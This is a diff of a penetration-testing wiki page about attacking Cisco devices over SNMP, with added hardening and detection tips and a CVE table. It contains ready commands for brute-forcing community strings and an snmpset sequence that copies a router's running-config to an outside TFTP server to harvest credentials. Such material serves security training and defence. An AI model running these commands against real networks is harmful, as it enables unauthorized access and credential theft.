|
5 | 5 |
|
6 | 6 | ## Pentesting Cisco Networks |
7 | 7 |
|
8 | | -**SNMP** functions over UDP with ports 161/UDP for general messages and 162/UDP for trap messages. This protocol relies on community strings, serving as passwords that enable communication between SNMP agents and servers. These strings are pivotal for they determine access levels, specifically **read-only (RO) or read-write (RW) permissions**. A notable attack vector for pentesters is the **brute-forcing of community strings**, aiming to infiltrate network devices. |
| 8 | +**SNMP** functions over UDP with ports **161/UDP** for general messages and **162/UDP** for trap messages. This protocol relies on *community strings*, serving as plaintext "passwords" that enable communication between SNMP agents and managers. These strings determine the access level, specifically **read-only (RO) or read-write (RW) permissions**. |
9 | 9 |
|
10 | | -A practical tool for executing such brute-force attacks is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), which necessitates a list of potential community strings and the IP addresses of the targets: |
| 10 | +A classic—yet still extremely effective—attack vector is to **brute-force community strings** in order to elevate from unauthenticated user to device administrator (RW community). |
| 11 | +A practical tool for this task is [**onesixtyone**](https://github.com/trailofbits/onesixtyone): |
11 | 12 |
|
12 | 13 | ```bash |
13 | | -onesixtyone -c communitystrings -i targets |
| 14 | +onesixtyone -c community_strings.txt -i targets.txt |
14 | 15 | ``` |
15 | 16 |
|
16 | | -#### `cisco_config_tftp` |
| 17 | +Other fast options are the Nmap NSE script `snmp-brute` or Hydra's SNMP module: |
17 | 18 |
|
18 | | -The Metasploit framework features the `cisco_config_tftp` module, facilitating the extraction of device configurations, contingent upon acquiring an RW community string. Essential parameters for this operation include: |
| 19 | +```bash |
| 20 | +nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 |
| 21 | +hydra -P wordlist.txt -s 161 10.10.10.1 snmp |
| 22 | +``` |
| 23 | + |
| 24 | +--- |
19 | 25 |
|
20 | | -- RW community string (**COMMUNITY**) |
21 | | -- Attacker's IP (**LHOST**) |
22 | | -- Target device's IP (**RHOSTS**) |
23 | | -- Destination path for the configuration files (**OUTPUTDIR**) |
| 26 | +### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB) |
| 27 | +If you obtain an **RW community** you can copy the running-config/startup-config to a TFTP/FTP server *without CLI access* by abusing the CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Two common approaches are: |
24 | 28 |
|
25 | | -Upon configuration, this module enables the download of device settings directly to a specified folder. |
| 29 | +1. **Nmap NSE – `snmp-ios-config`** |
26 | 30 |
|
27 | | -#### `snmp_enum` |
| 31 | +```bash |
| 32 | +nmap -sU -p161 --script snmp-ios-config \ |
| 33 | + --script-args creds.snmp=private 192.168.66.1 |
| 34 | +``` |
| 35 | +The script automatically orchestrates the copy operation and prints the configuration to stdout . |
28 | 36 |
|
29 | | -Another Metasploit module, **`snmp_enum`**, specializes in gathering detailed hardware information. It operates with either type of community string and requires the target's IP address for successful execution: |
| 37 | +2. **Manual `snmpset` sequence** |
30 | 38 |
|
31 | 39 | ```bash |
32 | | -msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public |
33 | | -msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 |
34 | | -msf6 auxiliary(scanner/snmp/snmp_enum) > exploit |
| 40 | +# Copy running-config (4) to a TFTP server (1) – random row id 1234 |
| 41 | +snmpset -v2c -c private 192.168.66.1 \ |
| 42 | + 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp |
| 43 | + 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig |
| 44 | + 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile |
| 45 | + 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP |
| 46 | + 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ |
| 47 | + 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo |
35 | 48 | ``` |
| 49 | +Row identifiers are *one-shot*; reuse within five minutes triggers `inconsistentValue` errors. |
36 | 50 |
|
37 | | -## References |
| 51 | +Once the file is on your TFTP server you can inspect credentials (`enable secret`, `username <user> secret`, etc.) or even push a modified config back to the device. |
38 | 52 |
|
39 | | -- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) |
| 53 | +--- |
40 | 54 |
|
| 55 | +### Metasploit goodies |
41 | 56 |
|
42 | | -{{#include ../../banners/hacktricks-training.md}} |
| 57 | +* **`cisco_config_tftp`** – downloads running-config/startup-config via TFTP after abusing the same MIB. |
| 58 | +* **`snmp_enum`** – collects device inventory information, VLANs, interface descriptions, ARP tables, etc. |
| 59 | + |
| 60 | +```bash |
| 61 | +use auxiliary/scanner/snmp/snmp_enum |
| 62 | +set RHOSTS 10.10.100.10 |
| 63 | +set COMMUNITY public |
| 64 | +run |
| 65 | +``` |
43 | 66 |
|
| 67 | +--- |
44 | 68 |
|
| 69 | +## Recent Cisco SNMP vulnerabilities (2023 – 2025) |
| 70 | +Keeping track of vendor advisories is useful to scope *zero-day-to-n-day* opportunities inside an engagement: |
45 | 71 |
|
| 72 | +| Year | CVE | Affected feature | Impact | |
| 73 | +|------|-----|-----------------|--------| |
| 74 | +| 2025 | CVE-2025-20174 | SNMP subsystem | Crafted packet leads to authenticated *DoS* (reload) on IOS/IOS-XE (v1/v2c/v3). | |
| 75 | +| 2024 | CVE-2024-20373 | IPv4 ACL handling | Mis-configured **extended** ACLs silently *fail*, allowing unauthenticated SNMP polling when a valid community/user is known. | |
| 76 | +| 2025 | (no CVE yet) | SNMPv3 configuration restriction bypass | Valid v3 user can poll from addresses that should be denied. | |
| 77 | + |
| 78 | +Exploitability often still depends on possessing the community string or v3 credentials—another reason why brute-forcing them remains relevant. |
| 79 | + |
| 80 | +--- |
| 81 | + |
| 82 | +## Hardening & Detection tips |
| 83 | + |
| 84 | +* Upgrade to a fixed IOS/IOS-XE version (see Cisco advisory for the CVE above). |
| 85 | +* Prefer **SNMPv3** with `authPriv` (SHA-256/AES-256) over v1/v2c. |
| 86 | + ``` |
| 87 | + snmp-server group SECURE v3 priv |
| 88 | + snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass> |
| 89 | + ``` |
| 90 | +* Bind SNMP to a management VRF and **restrict with *standard* numbered IPv4 ACLs** (extended named ACLs are risky – CVE-2024-20373). |
| 91 | +* Disable **RW communities**; if operationally required, limit them with ACL and views: |
| 92 | + `snmp-server community <string> RW 99 view SysView` |
| 93 | +* Monitor for: |
| 94 | + - UDP/161 spikes or unexpected sources (SIEM rules). |
| 95 | + - `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` events indicating out-of-band config changes. |
| 96 | +* Enable **SNMPv3 logging** and `snmp-server packetsize 1500` to reduce certain DoS vectors. |
| 97 | + |
| 98 | +--- |
| 99 | + |
| 100 | +## References |
| 101 | + |
| 102 | +- Cisco: *How To Copy Configurations To and From Cisco Devices Using SNMP* |
| 103 | +- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) |
| 104 | + |
| 105 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments